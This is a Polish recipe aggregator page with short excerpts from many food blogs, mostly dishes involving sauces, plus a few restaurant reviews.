Farsz: 1/2 średniej główki kapusty (po ugotowaniu ok. 400 g) 100 g kapusty kiszonej 1 – 2 cebule 3 pieczarki olej lub oliwa przyprawy (suszona włoszczyzna, majeranek, sól, pieprz, sos sojowy) Ciasto: 200 g mąki 1 łyżka oliwy/oleju ok. 90 ml ciepłej wody Sposób przygotowania: Kapustę pokrój na mniejsze części, zalej sporą ilością wody i gotuj przez około godzinę

Via Gusto
Makaron z woka z warzywami w sosie ostrygowo-ostrym 113

razem połączenie świeżych warzyw przygotowanych na chrupko w gorącym woku z dodatkiem doskonałego połączenia sosów: ostrygowego i ostrego. Do tego dodajemy makaron, żeby danie było sycące i jeszcze smaczniejsze

Milion Smaków
Mięsne rolsy z serkiem i szparagami 169

białych szparagów w zalewie Sposób przygotowania: Smarujemy plaster szynki serkiem, układamy połówkę szparaga na jednym końcu i rolujemy całość. Rolsy możemy podawać z dodatkiem chrzanu ze słoiczka, czy sosu jogurtowego z ziołami. Miłego zawijania

Pyszny Duet
Pyszna fasolka szparagowa z warzywami w pomidorach na zimę do słoików 1081

pyszną sałatkę z fasolki szparagowej i warzyw na zimę do słoików. Taką sałatkę możemy podać na zimno do obiadu lub podgrzać, dodać podsmażone mięso i podać w formie sosu do ryżu. Sałatka również idealnie pasuje do smażonej ryby. Sałatka jest naprawdę bardzo smaczna, więc polecam wypróbować przepis. Do przygotowania sałatki będziemy potrzebowali: Z podanej porcji wyjdzie około 4 L sałatki

Uwaga Babcia Gotuje
GULASZ WĘGIERSKI, WOŁOWY -Pörkölt + FILMIK 180

parowała. Na tym etapie gotowania dodajemy warzywa, przecier i doprawiamy do smaku. Dolewamy wody i dusimy do miękkości. Na koniec dodajemy kiełbasę,  doprawiamy wszystko do smaku. Gdyby sos był za rzadki, zagęszczamy go1 łyżka mąki rozmieszanej z wodą. Zagotowujemy i gotowe. Podajemy z plackami, kaszą, makaronem, pieczywem itp. Jest bardzo smaczny i aromatyczny, polecam

Kulinarne Fantazje Marioli
Sałatka ryżowa z tuńczykiem 176

Smaczna i szybka sałatka ryżowa z tuńczykiem z chrupiącą czerwoną papryką i wyrazistym ogórkiem kiszonym. Składniki: (porcja na małą miskę) 1 puszka tuńczyka w kawałkach w sosie własnym 1 woreczek ryżu 1 mała czerwona papryka 1 mała puszka kukurydzy  2 małe ogórki kiszone sól, pieprz 2 łyżeczki majonezu Wykonanie: Woreczek ryżu gotujemy według przepisu na opakowaniu. Paprykę i ogórek

W Moim Magicznym Domu
Hiszpańska tortilla ziemniaczana z kukurydzą 169

żeby lekko przestygła lub ostygła całkowicie , zależy co chcecie z nią dalej czynić Czy zagryzać na zimno do piwka , czy też ma zastąpić obiad . Doskonała z salsą lub jakimkolwiek sosem pomidorowym . Smacznego Artykuł Hiszpańska tortilla ziemniaczana z kukurydzą pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Świderki w sosie gorgonzola z gruszką 207

składników , mieszaj chwile dodaj serek mascarpone. Następnie dodaj zahartowaną śmietanę (do garnuszka dodaj śmietanę oraz kilka łyżek gorącego  rozpuszczonego sera) . Mieszaj aż do uzyskania jednolitej gładkiej konsystencji. Do sosu dodaj pokrojoną w kostkę gruszkę. Dopraw pieprzem i solą.  Smacznego

Wylizany Rondel
ocet z płatków roży 129

codziennie mieszając. Po tym czasie przecedzić na sitku ,zlać do butelki . Ocet traci barwę w świetle , więc najlepiej przechowywać go w ciemnym miejscu. Może być używany w sosach sałatkowych i wiele innych zastosowań, gdzie potrzebne ocet. Ocet różany na swędzenie, ugryzienia, otarcia, drobne rany i tym podobne. Ocet z róży ma ma działanie tonizujące na naczyniach krwionośnych

w mojej kuchni
Gnocchi z truflami 155

się w tym smaku, ale jakiś czas zastanawiałam się jak zrobić je w domu. Będąc jakiś czas temu w Toskanii przywieźliśmy kilka truflowych past, są idealne do makaronów czy sosów. Jedną z nich wykorzystałam do zrobienia tego dania, wystarczy mieć szprycę lub strzykawkę z grubą igłą, aby ułatwić sobie zadanie. Polecam Wam także inne przepisy: – ragu z kaczki idealne

nietylkopasta.pl
Kakaowe placuszki na maślance 172

lejące.   3. Na patelni rozgrzewamy odrobinę oleju, łyżką nabieramy porcje ciasta i na patelni formujemy placuszki. Smażymy z obu stron do zrumienienia się :-) Podajemy z owocami, dżemem, jogurtem, sosem owocowym. Smacznego

kruche babeczki
Pasztet z cukinii z płatkami owsianymi 344

Cukinia pieczona, faszerowana, duszona, zupa z cukinii, placki, sos, leczo, ciasto, dżem. Można w nieskończoność. Ale ja lubię odkrywać nowe smaki. Jednym z takich odkryć niedawno był pasztet z cukinii, tak jak kiedyś odkryłam dla siebie cukiniowe ciasto. Z każdym kolejnym kęsem wiem, że w zależności od dodatków za każdym razem może smakować inaczej: z suszonymi pomidorami, serem, oliwkami, fetą

Obiad gotowy
Pasta jajeczna z tuńczykiem 225

Taka pasta to świetny dodatek do kanapek i krakersów. Doskonała na śniadanie, jak również jako przekąska na imprezę. 6 jajek puszka tuńczyka w sosie własnym łyżka majonezu dymka ze szczypiorkiem sól, pieprz Jajka ugotować na twardo i zetrzeć na tarce na małych oczkach. Dodać odsączonego z zalewy tuńczyka, posiekaną dymkę i majonez. Wymieszać, przyprawić solą i pieprzem. Odstawić na godzinę

Smakołyki Asi
17 przepisów z makaronami 168

Makaron orzo z liśćmi szpinaku i serem feta Makaron soba z brokułami i cukinią Makaron z pieczarkami, cukinią i parmezanem Pappardelle w pomidorach z orzechami włoskimi Pappardelle w ostrym sosie z żółtych warzyw z czarnuszką i natką z pietruszki Penne z pieczarkami i czarnymi oliwkami Sałatka makaronowa z brokułami i majonezem Sałatka makaronowa z czarnymi oliwkami, papryką i pomidorkami koktajlowymi

Moja smaczna kuchnia
Łosoś w sosie śmietanowym z makaronem 179

kroimy w kostkę, łososia rozdrabniamy.  3. Rozgrzewamy olej i podsmażamy cebulkę, następnie dodajemy łososia. Zmniejszamy ogień i na koniec dodajemy śmietanę, cały czas mieszając. Możecie dać koperek do sosu lub posypać nim tylko na wierzchu.  4. Wykładamy na talerz makaron, na to naszego łososia. (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
Marokańskie klopsiki 196

obsmażamy klopsiki na złoty kolor, następnie dodajemy pokrojoną w półksiężyce cebulę-dalikatnie mieszamy. Dodajemy szafran, słodką paprykę oraz zalewamy ok. szklanką gorącoego bulionu. Całość gotujemy ok. 15 minut-aż sos się zredukuje, Dodajemy sok z cytryny oraz resztę posiekanej natki. Gotowe. Do podania proponuję kuskus, ryż (może być z tego przepisu  https://kopystkapogarach.blogspot.com/2018/07/smazony-szafranowy-ryz.html  oraz sałatkę

Kopystką po garach
Wiśnie w cukrze 146

Wiśnie, to bardzo dobre owoce na różne przetwory, ja dziś przygotowałam je w cukrze. Bardzo dobry dodatek do deserów, ciast, sosów... SKŁADNIKI: 2kg wiśni drylowanych 0,5 kg cukru( ilość zależy od słodkości wiśni) WYKONANIE: wydrylowane wiśnie układamy w misce przesypując cukrem, gdy puszczą sok wkładamy do słoików 200ml zalewając otrzymanym sokiem, pasteryzujemy

Kuchnia Beaty
3 oleje roślinne – zdrowa kuchnia kluczem do dobrego samopoczucia! 168

lniany ma lekko orzechowy smak i doskonale uzupełni wszelkiego rodzaju sałatki oraz potrawy, które można okrasić olejem na zimno. Polecamy dodawać go do potraw na zimno, przede wszystkim do sosów marynat czy dipów

Domowa Cukierenka-Domowa Kuchnia
Czwartek: Kurczak po włosku w sosie balsamicznym 244

łyżeczki suszonego majeranku 2 łyżeczki suszonego tymianku 1 łyżeczka suszonego czosnku 1/2 łyżeczki mielonego pieprzu Wymieszaj składki. Przechowuj w szczelnie zamkniętym słoiczku Artykuł Czwartek: Kurczak po włosku w sosie balsamicznym pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
SKRZYDEŁKA PIECZONE W MARYNACIE Z MUSZTARDĄ 224

CENA POTRAWY: 8 ZŁ. ILOŚĆ PORCJI: 3-5 Składniki podstawowe: 10 skrzydełek z kurczaka. Składniki marynaty: 4 łyżeczki ostrej musztardy, łyżka syropu trzcinowego (lub klonowego, ewentualnie miodu), 10 ml sosu sojowego, czubata łyżeczka majeranku, 1-2 suszone papryczki chili peperoncini lub 1/2 płaskiej łyżeczki pieprzu cayenne. Przygotowanie: Z mięsa odcinam najcieńsze końcówki, myję i osuszam ręcznikiem papierowym. Składniki marynaty dokładnie

JejKuchnia
Chołodziec na kwaśnym mleku – chłodnik z sokiem z ogórków kiszonych 154

ogórków kiszonych był dość popularny w pierwszej połowie XX wieku. W książkach kucharskich z tamtych lat, można znaleźć różne jego odmiany – tyle przepisów ile kucharek. W jednych przepisach sos z ogórków jest gotowany, w innych surowy. W jednych dodaje się botwinę lub kwas buraczany, w innych pomija się ten dodatek. Czasem dodawana jest do chłodnika gotowana cielęcina, szyjki rakowe

królestwo garów
NALEŚNIKI BUDYNIOWE. NAJLEPSZE. DZIŚ Z JAGODAMI. 227

dzieci proponuję użyć budyniu truskawkowego lub malinowego - naleśniki będą wtedy miały niecodzienny, lekko różowy kolor 😉. My zajadamy naleśniki przeważnie tylko z cukrem, ale tym razem zrobiłam do nich sos jagodowy (jagody + odrobina cukru podduszone w rondelku).  Wyszło pysznie!  Składniki: 3 całe jajka 200 ml mleka 200 ml wody (najlepiej mineralna gazowana) szczypta soli 2 łyżki oleju 2 budynie

Walijskie Pichcenie
Znajomi Znajomych i nowe pyszne menu 162

przystawkę deskę z serami, humusem, chorizo, oliwkami i piklami (49 zł) chrupiące pork sticksy (21 zł) vege tatara z pomidorów (24 zł) boczniaki z portobello (24 zł) kalmary w sosie pomidorowym (27 zł) Sałatki: szparagi, jajko poche, truskawki (29 zł) kurczak kukurydziany, boczek, pomidor, parmezan (29 zł) camembert w panko, pomidor, orzechy, winogrona (34 zł) Drugie dania: owoce morza, mleczko

Kulinarne przygody Gatity
Zapiekanka dla łasucha 176

dnie naczynia żaroodpornego. Grzyby pokroić w plasterki i obsmażyć na tej samej patelni co smażyło się mięso. Woda z grzybów musi wyparować. podsmażone grzyby rozłożyć na mięsie. Przygotowanie sosu – masło roztopić na patelni, dodać mąkę. Wymieszać, nie czekać aż zbrązowieje. Następnie wlać wywar i zagotować. Dokładnie wymieszać i wylać na grzyby. Ostatnia warstwa to ziemniaki, rozłożyć je na całej

Kuchnia Pokoleń
Ziołowe pieczarki panierowane – szybka przekąska 153

wieczór z przyjaciółmi. Smakują pysznie zarówno na ciepło jak i na zimno, więc można je przygotować wcześniej niż od razu przed podaniem. Można je podać z ketchupem albo sosem czosnkowym, choć mi smakują najbardziej bez żadnych dodatków. Mogą stanowić również pyszny dodatek do obiadu, bardzo dobrze komponują się z rożnymi mięsami. Składniki: 500 g pieczarek 3 jajka około szklanka bułki

e-PrzepisyKulinarne
Sałatka z zielonego ogórka z kukurydzą 198

Kilka warzyw, kilka minut, smak pozostanie na dłużej. Zachęcam do zapoznania się z tym prostym przepisem, jako alternatywa dla sałaty z sosem vinegret. SKŁADNIKI: 1-2 zielone ogórki 3/4 puszki kukurydzy 1/2 papryki 1/2 średniej cebuli czerwonej 1 brzoskwinia (idealana-to słodka i twarda) Świeży koperek Biały ocet balsamiczny lub cytryna Sól Pieprz Oliwa z oliwek Syrop klonowy-opcjonalnie PRZYGOTOWANIE

Kopystką po garach
Kremowa sałatka z młodych ziemniaków. 235

ostudzić i pokroić w kawałki. Cebulki szczypioru pokroić w cienkie plasterki, a zielone części nieco grubiej. Jajka i szczypior wraz ze startym serem dodać do ziemniaków i wymieszać z sosem przyrządzonym z reszty składników. Odstawić na około 15 minut dla przeniknięcia smaków

zadanie-gotowanie
Kotleciki z kurczaka z pieczarkami 143

niezwykle soczyste i delikatne. Podawajcie je w towarzystwie ziemniaków, pieczywa lub jedźcie po prostu same. Możecie również przygotować je na imprezę (tutaj najlepiej podać je z ketchupem i sosem czosnkowym) – gwarantuję, że znikną w mig. Zobacz też: Kotlecik i z kurczaka z serem i majonezem Bagietki nadziewane kurczakiem i serem Pieczona pierś kurczaka w płatkach kukurydzianych Przepis na kotleciki

Kuchnia Bazylii
Owsiane placuszki 125

jajkami, mąką, posolić do smaku i jeszcze raz dokładnie wyrobić masę. Smażyć cienkie, małe placuszki na rozgrzanym maśle z obu stron na złoto. Można je podawać z dowolnym sosem na słono lub z konfiturą na słodko

Tradycyjna Kuchnia
SAŁATKA MALINOWA 249

koktajl z awokado zmiksowanego z malinami i dodatkami, jednak doszłam do wniosku, że ze składników, którymi dysponuję fajniej będzie zrobić sałatkę. Sałatka jest warzywno-owocowa, uwieńczona obfitym kleksem z sosu malinowego. Czytaj więcej

Kasia Sarna
Sałatka z dressingiem miodowo-musztardowym 208

miski (lub dzielimy od razu na 4 osobne miseczki). Cebulę kroimy w krążki a pomidorki przekrawamy na połówki - wrzucamy do sałaty. Składniki na dressing wlewamy do kubka i mieszamy. Sosem zalewamy sałatkę, delikatnie mieszamy, doprawiamy świeżo mielonym pieprzem. Ps. Do sałatki można dodać czerwoną paprykę pokrojoną w kostkę.       Doskonale pasuje do mięs z grilla

Alutka-Gotuje
Szpinakowe penne (penne w sosie śmietanowym) 176

szpinak od teraz jest jednym z ulubionych zielonych warzyw w naszym ośrodku.  Zabawcie się w kuchni tak jak my, a efekt przerośnie Wasze oczekiwania! Penne ze szpinakiem w sosie śmietanowym Składniki: • makaron penne • mrożony szpinak • cebula, czosnek • śmietana 30% • pierś z kurczaka • przyprawy: sól czosnkowa, pieprz ziołowy Wykonanie: Makaron gotujemy w osolonej wodzie, najlepiej al dente, odcedzamy. Cebulę Bogusław

Sprawni w smaku
Makaron z cukinią, pomidorem i fasolką – idealny na upał 182

zarazem sycące danie, które bez problemu można zabrać ze sobą do pracy/szkoły/w podróż. Pamiętajcie, że makaron warto przygotować na półtwardo – zmięknie on jeszcze pod wpływem sosu. To nie pierwszy raz kiedy wykorzystuję połączenie cukinii i pomidorów, już wcześniej proponowałam Spaghetti z cukinii – wersja mięsna à la bolognese , wiem jednak że w 30-stopniowe upały częściej ma się

A to pestka
Buraki pieczone 143

Buraki pieczone powstają u mnie w różnych połączeniach. Najczęściej pada na słupki pokrojone razem z ziemniakami, dynią, marchewką, pietruszką i ćwiartkami cebuli pieczone i podawane z sosem lub do wszelakich gulaszy i mięs. Dziś same buraki pieczone: do obiadu, np. starte drobno lub w kosteczce, na sałatkę (z fetą i rukolą), na zupę, np. krem, mi zdarza się podjadać same

Zasmakuj Kuchni
Pierś z indyka z czosnkiem i miodem 150

Pierś z indyka to potrawa, na której można się wyłożyć… Niełatwo sprawić, aby mięso było odpowiednio miękkie, a poza tym łatwo stracić upragnioną w każdym

Via Gusto
Sałatka z tuńczykiem 204

głodu, tylko przygotowywać smaczne, zdrowe i lekkie posiłki. Dziś kolejna fit sałatka - tym razem z tuńczykiem i jajkiem. Składniki na 1 porcję: 80 g tuńczyka z puszki (w sosie własnym) mix sałat - ilość wg uznania 1/3 czerwonej cebuli 1 jajko ugotowane na twardo 5 pomidorków koktajlowych pieprz dodatkowo: 1 kromka pełnoziarnistego pieczywa Przygotowanie: Sałatę wrzuć do miski, dodaj przekrojone

Alutka-Gotuje
Lody malinowe 169

lody w maszynie najpierw schłódź masę przez 3-4 h. Następnie wlej je do maszyny do lodów i postępuj zgodnie z instrukcją. Lody możesz podać z świeżymi malinami lub sosem malinowym. Smacznego! Artykuł Lody malinowe pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Meksykańska przyprawa taco 169

zrobić właśnie z jej użyciem. Bierzemy się zatem do pracy. Polecam wam także wypróbowanie kawowej marynaty do mięs z grilla. Ponadto spróbujcie podczas najbliższej imprezy na świeżym zrobić mój sos chilli na grilla . Zajrzyjcie jeszcze do przepisu na sałatkę meksykańską . Składniki – Meksykańska przyprawa taco 1 łyżeczka mielonego chilli 1 łyżeczki słodkiej papryki 1 łyżeczka kminu rzymskiego 1/2 łyżeczki suszonego

Kuchennyviral.pl
Pizza tikka masala 203

płaskie placki. Przygotowanie pizzy: Włącz piekarnik i ustaw go na 220 oC. Umieść placki na wyłożonej papierem blaszce do pieczenia i posmaruj każdy oliwą z oliwek. Teraz posmaruj wierzch sosem, wyłóż kurczaka i posyp połową sera. Następnie wyłóż cebulę, posyp zieleniną i resztą sera. Włóż pizzę do nagrzanego piekarnika i piecz przez około 10 minut do ładnego zarumienienia. Na koniec

karmelowy
Curry z kurczaka z groszkiem cukrowym i cukinią 206

samej patelni rozgrzej 1 łyżkę oleju i podsmaż kurkumę oraz czosnek, mieszając. Dodaj mleko kokosowe i cukier. Całość gotuj około 5 minut. Po tym czasie dodaj do sosu mięso. Gotuj do momentu aż mięso zmięknie. Dodaj cukinię i groszek cukrowy, gotuj 3 -4 minuty do momentu aż warzywa będą al dent i zachowają ładny kolor. Ryż wyłóż na talerze, dodaj

Moja pasja smaku
Sernik z ricotty 219

wyciągnąc kilka minut wcześniej z lodówki. Masło rozpuścić i ostudzić. Ciasteczka dokładnie pokruszyć i wymieszać z masłem. Maliny wrzucić do garnka dodać wode i cukier. Wszystko zagotować, aż powstanie sos. Piekarnik nagrzać do temperatury 180 stopni. Przygotować okrągłą formę o średnicy 20-24 cm i wyłożyć spód ciasteczkami. Wyrównać powierzchnię. Schłodzić przez 10-15 minut w lodówce. Do większego naczynia

I LOVE LIFE
Pstrąg pieczony w pietruszce, z masłem czosnkowym i warzywami 191

pieprzem *** *** Ryby wkładamy do piekarnika nagrzanego do 200’C i pieczemy przez około 20 minut *** *** SMACZNEGO ***   POLECAM TAKŻE: RYBA W CIEŚCIE SEROWYM PRZEPIS TUTAJ ŁOSOŚ PIECZONY W SOSIE SOJOWYM Z MIODEM PRZEPIS TUTAJ RYBA PO JAPOŃSKU PRZEPIS TUTAJ OPIEKANE ŚLEDZIE W ZALEWIE POMIDOROWO-OCTOWEJ PRZEPIS TUTAJ Artykuł Pstrąg pieczony w pietruszce, z masłem czosnkowym i warzywami pochodzi

Blog z Apetytem
Leczo. Przepis krok po kroku. 312

strukturę, a mięso najlepiej smakuje dobrze zrumienione. Klasycznie to danie, najlepiej smakuje z pajdą chleba z masłem, która można nabierać nadmiar pysznego sosu. Świetny pomysł na weki   Leczo to także świetny pomysł na weki. Wielokrotnie zdarzyło się, czy to u mojego dziadka, czy u mojej

kuron.com.pl
Najlepsze przepisy w czerwcu 177

LINK ).  Czerwiec był również owocny, jeśli chodzi o współpracę z firmą WOLL ( link ), która sprezentowała mi naprawdę super patelnie, a dzięki niej powstał super przepis na TUŃCZYKA W SOSIE ŚMIETANOWO KOPERKOWYM . LINK (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
SZPARAGI W SZYNCE PARMEŃSKIEJ I CIEŚCIE FRANCUSKIM 191

roli głównej... z dodatkiem sera żółtego, w szynce parmeńskiej oraz cieście francuskim. Jest  ona bardzo prosta w przygotowaniu, a smakuje i prezentuje się znakomicie. Świetnie smakuje podana z sosem czosnkowym. Idealna propozycja na kolację lub podczas oglądania meczów piłki nożnej 😉 Składniki: (na 6 szt.) 500 g szparagów zielonych (pęczek) 1 op. ciasta francuskiego świeżego 100 g szynki parmeńskiej

Kuchnia MagdaLeny
Szybki sernik bananowy z borówkami i sosem czekoladowym 159

ciasto? Serniki są wspaniałym deserem i polecam każdemu, małemu i dużemu. Tym razem będzie szybko i wyśmienicie, wykwintnie i dostojnie, zapraszam. Szybki sernik bananowy z borówkami i sosem czekoladowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Brokuły w sosie śmietanowo - serowym 176

letni dzień. Aromatu i smaku mu nie brakuje a i zdrowotności jest nie mało. Chrupiące ziarenka złotego lnu są idealne na kłopoty trawienne, zachęcam do pogryzania. Brokuły w sosie śmietanowo - serowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Tradycyjny włoski makaron z bakłażanem i pomidorami 245

pokrojony czosnek i papryczkę chili, chwilę smażymy na małym ogniu, dodajemy passatę i podgrzewamy do momentu aż woda częściowo wyparuje. Dodajemy bakłażany, chwilę dusimy, doprawiamy pieprzem. Mieszamy makaron z sosem. Posypujemy tartym parmezanem i ozdabiamy bazylią. Smacznego! Autor: Mama

Moja Mama Gotuje
Sałatka ziemniaczana 160

całości to bardzo dobry pomysł. Sałatka ziemniaczana w mojej wersji jest lekka, ale sycąca. Z powodzeniem sprawdzi się jako propozycja na obiad lub kolację. Dodatek warzyw oraz sos na bazie jogurtu sprawia, że całość jest lekka, a przy tym pożywna. SAŁATKA ZIEMNIACZANA 4 małe młode ziemniaki Dwa małe ogórki konserwowe 2-3 łyżki ugotowanej ciecierzycy Pół dużego pomidora malinowego Koperek

HealthyCreations
Kotleciki z kalafiora i zielonego groszku. 163

kotleciki z kalafiora i zielonego groszku z dodatkiem pachnącego koperku. Można  podać je jako dodatek do drugiego dania lub solo. Doskonale sprawdzą się podane z ziemniakami i ulubionym sosem, np. koperkowym. Bardzo polecam na letni obiad. Smacznego życzę :) Składniki: Na kotleciki: 1 mały kalafior 1 szklanka zielonego świeżego groszku pół pęczka koperku 2 jajka sól do smaku pieprz czarny

Izabelawkuchni
Ato Ramen- japoński raj dla podniebienia na Off Piotrkowska 179

lemoniadzie. Potem przed nami pojawia się Ato burger (20 zł).  W drożdżowej bułce gotowanej na parze skrywa się pyszny i delikatny kawałek wieprzowego karczka z piklami i pysznym sosem. Zamawiamy także Tantan ramen (29 zł). To intensywny bulion na bazie ucieranego sezamu i drobiu z pikantną mieloną wieprzowiną. Zupa jest pikantna i bardzo intensywna w smaku, cudownie jest

Kulinarne przygody Gatity
Domowa kostka rosołowa 173

korzeniowego (długości kciuka i niewiele grubszy) Pół malej cebuli 2 ząbki czosnku Mała garść świeżej kolendry Mała garść pietruszki 4 łyżki oleju rzepakowego 1 łyżka klarowanego masła 2 łyżki sosu sojowego lub sól do smaku Przygotowanie: Krok 1 Marchew, pietruszkę i selera obierz i zetrzyj na tarce o dużych oczkach. Do kielicha miksera wrzuć warzywa, czosnek, cebulę oraz zioła

Niedzielny kucharz
Kotlety jajeczne 202

twardo ze szczypiorkiem i natką pietruszki. Idealna propozycja na szybki bezmięsny obiad, przekąska na drogę lub dodatek do dania głównego. Możemy serwować je na zimno i na ciepło, z sosem koperkowym lub pieczarkowym. Każda propozycja będzie bardzo dobra. Składniki na 6-8 małych kotlecików: 5 ugotowanych na twardo jajek 1 jajko surowe 1 łyżka kasy manny 1 łyżka posiekanej natki

Życie zaczyna się w kuchni
Tawerna Rybaki - SOPOT 217

mrożoną, bo temperatura na zewnątrz sięgała prawie trzydziestu kresek. Kawa serwowana w lokalu na pewno Wam zasmakuje jest bardzo dobrej jakości. Jako deser wybrałam mrożony mus cytrynowy z sosem jagodowym, całość zwieńczyłam Saską o smaku Dzika Róża, która idealnie podbiła smak. Deser idealny na taki upał, mocno orzeźwiający, a dodatek świeżych ziół wzbogacił jeszcze bardziej jego smak. Będąc nad morzem

SMYKWKUCHNI
Pieczony filet z halibuta 304

smakuje wyśmienicie. Halibut pieczony z odrobiną masła, pod plastrem pomidora. Świetny pomysł na bardzo zdrowy obiad! Jeśli lubisz ryby, to powinien Ci się też spodobać łosoś pieczony z sosem beszamelowym

AniaGotuje.pl
Kotlety mielone po meksykańsku 176

Kotlety mielone po meksykańsku Mielone , czasami trudno wymyślić coś z tego pysznego mięsa . Pysznego , pod warunkiem ,że wiecie co zostało zmielone . Czyli ,czy jest to pełnowartościowa

Ogrodnik w podróży
Kurczak w sosie słodko-kwaśnym 302

bloga Kuchnia Magdaleny, ale trochę go zmodyfikowałam 🙂 Polecam gorąco także inne dania z kuchni Magdy 🙂 Składniki: 1 podwójny filet z kurczaka 2 marchewki … Czytaj dalej Kurczak w sosie słodko-kwaśnym

czarrna od kuchni
Pieczony udziec z indyka w musztardzie 178

przykryciem 60 minut, po czym odkryć, położyć na wierzch masło i piec bez przykrycia jeszcze 15 minut, aby się przyrumienił. Z powstałego płynu po pieczeniu można zrobić sos, jeśli nie jest on zbyt mocno przypalony. Płyn przelać do rondelka, zagęścić śmietaną 30% i gotować, aż odpowiednio się zredukuje. Na koniec przyprawić do smaku pieprzem i solą. Udziec świetnie smakuje podany

Kuchcik gotuje
Sernik na zimno z czerwonej porzeczki z nutką bazylii 176

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! dżem z czerwonej porzeczki biszkoptowe ciasto z porzeczkami ucierane ciasto z czerwoną porzeczką porzeczkowa tarta z białą czekoladą drożdżowe zawijańce

Kulinarne przygody Gatity
Naleśniki z kapustą i pieczarkami 212

naleśnik z obu stron na złoty kolor. Do smażenia następnych naleśników nie trzeba na patelnię dodawać już tłuszczu. P.S. Do naleśników możemy podać czerwony barszczyk, polać ketchupem lub innym sosem. Smacznego :)  Zapraszamy na nasz kanał na YouTube: www.youtube.com/c/DietaRozdzielna Za Subskrybuj 😀❗ i daj łapkę w górę

Dieta Rozdzielna i Zdrowie
Sałatka z trzema serami 174

miód, musztardę i sok z cytryny. Doprawiamy drobno posiekanym czosnkiem, solą i pieprzem. Na końcu dodajemy posiekaną bazylię i podprażone pestki słonecznika. Dokładnie mieszamy. Tuż przed podaniem polewamy sałatkę sosem i posypujemy grzankami. Smacznego Artykuł Sałatka z trzema serami pochodzi z serwisu PatiGotuje

PatiGotuje
Paprykowe leczo z suszonymi pomidorami 214

Warzywa kroimy w kosteczkę. Szklimy na oleju. Dodajemy pokrojone na mniejsze kawałki suszone pomidory oraz przeciśnięty przez praskę czosnek. Chwilę podsmażamy, po czym zalewamy passatą i wodą. Dusimy, aż sos zgęstnieje. Doprawiamy wędzoną papryką, bazylią, solą i pieprzem. Opcjonalnie podajemy z ostrymi papryczkami. Smacznego :)   Artykuł Paprykowe leczo z suszonymi pomidorami pochodzi z serwisu Mienta blog

Mienta blog
Bezglutenowe placuszki kokosowe z mąki teff z jabłkami 173

zdrowa i posiada wiele zastosowań w kuchni. Doskonale sprawdzi się przy wypieku chleba, ciast, ciasteczek oraz w przyrządzaniu naleśników, placków lub kleików, jak również jako zagęszczasz do zup i sosów. Mąkę teff powinni docenić zwłaszcza osoby z nietolerancją glutenu i białka. Poza tym ziarna teffu są wielką skarbnicą kwasy foliowego, wapnia, żelaza, magnezu, a także antyoksydantów i błonnika pokarmowego

Di gotuje
Dorsz po krymsku 137

nasion, pokroiłem w wąskie paski. Filety rybne obtoczyłem mące, usmażyłem na oleju na złoty kolor z obu stron. Następnie przełożyłem dorsza do żaroodpornego naczynia, posypałem pokrojoną papryką. Zrobiłem sos ze śmietany przyprawionej sola i słodką papryką. Polałem ryby. Zapiekałem w piekarniku w temperaturze 200 stopni C przez 20 minut. Podałem z pieczonymi młodymi ziemniakami

R'n'G Kitchen
” Ziołowy ” , pieczony kurczak 168

zbyt mocno brązowieje , można delikatnie przykryć folią . Po upieczeniu , kurczaka dzielimy i układamy na talerzu , a z powstałego wywaru i cebuli po zmiksowaniu i dodaniu śmietanki otrzymacie dodatkowo , pyszny sos Smacznego ! Artykuł ” Ziołowy ” , pieczony kurczak pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Sałatka z krewetkami, mango i awokado 327

Zakochaj się w kuchni kolumbijskiej! Bardzo egzotyczna i super smaczna sałatka z krewetkami , owocem mango, dojrzałym i super maślanym awokado.. Do tego idealny kwaśno ostry sos i kilka idealne dobranych warzyw.  Jeśli zaś wolisz kurczaka, to mam dla Ciebie alternatywny przepis - sałatka z kurczaka i mango w podobnych klimatach, gdzie łączymy owoce z mięsem i warzywami

AniaGotuje.pl
Sałatka z wątróbkami z kurczaka 215

pół, mozzarellę na małe kawałeczki, kilka malin miksujemy na sosik. Wszystko gotowe, można podawać. Układamy kolejno mix sałat, a na to wątróbki, pomidorki, mozzarelkę, maliny - na górę kilka kropel sosu malinowego. Smacznego !!! Wartość odżywcza oraz kalorie (2 porcje): Wartość odżywcza opracowana na stronie www.kalkulatorkalorii.net

Smacznie Pysznie Kalorycznie
Zapiekanki z cukinii – przepis krok po kroku 252

minut.   I to już wszystko. Nasze zapiekanki z cukinii są już gotowe. Teraz wystarczy je podać i rozkoszować się ich smakiem. Można je jeszcze polać ketchupem lub ulubionym sosem.   Zdarza się Wam przygotowywać warzywne zapiekanki? Lubicie takie warzywne zamienniki tradycyjnych dań? Smacznego!   A jeśli szukacie pomysłów na dania z wykorzystaniem cukinii, polecam inne moje przepisy:   Spaghetti

Okiem Blondynki by McBlondi
deser wiśniowo-serowy 163

wydrylować. Przełożyć do rondelka, zasypać cukrem i na małym ogniu gotować chwilkę aż puszczą sok. Kisiel rozrobić w kilku łyżkach wody i wlać do wiśni. Zagotować. Powinien powstać gęsty sos.  Zimną kremówkę ubić z cukrem a następnie wmiksować serek. Do pucharków przełożyć masę serową, na nią wiśnie a wierzch posypać odłożonymi wcześniej ciastkami.  Podawać najlepiej zaraz po przygotowaniu

Domowa Cukierenka-Domowa Kuchnia
Quinoa i żółte curry z krewetkami 178

wody, żeby warzywa się poddusiły. Gdy są prawie miękkie, dorzucamy posiekany liść buraka liściastego i ostrą papryczkę, chwilę dusimy i dodajemy pastę curry rozmieszaną w mleku kokosowym. Zagotowujemy,redukujemy sos o 1/3, dodajemy krewetki, czekamy, aż się zetną, doprawiamy solą i dodajemy trochę kurkumy dla koloru i smaku. Gotowe danie podajemy z ugotowaną quinoą i posypujemy natką, najlepiej kolendrą

Quinoa Raz!
DOMOWA PIZZA KTÓRA ZAWSZE WYCHODZI 206

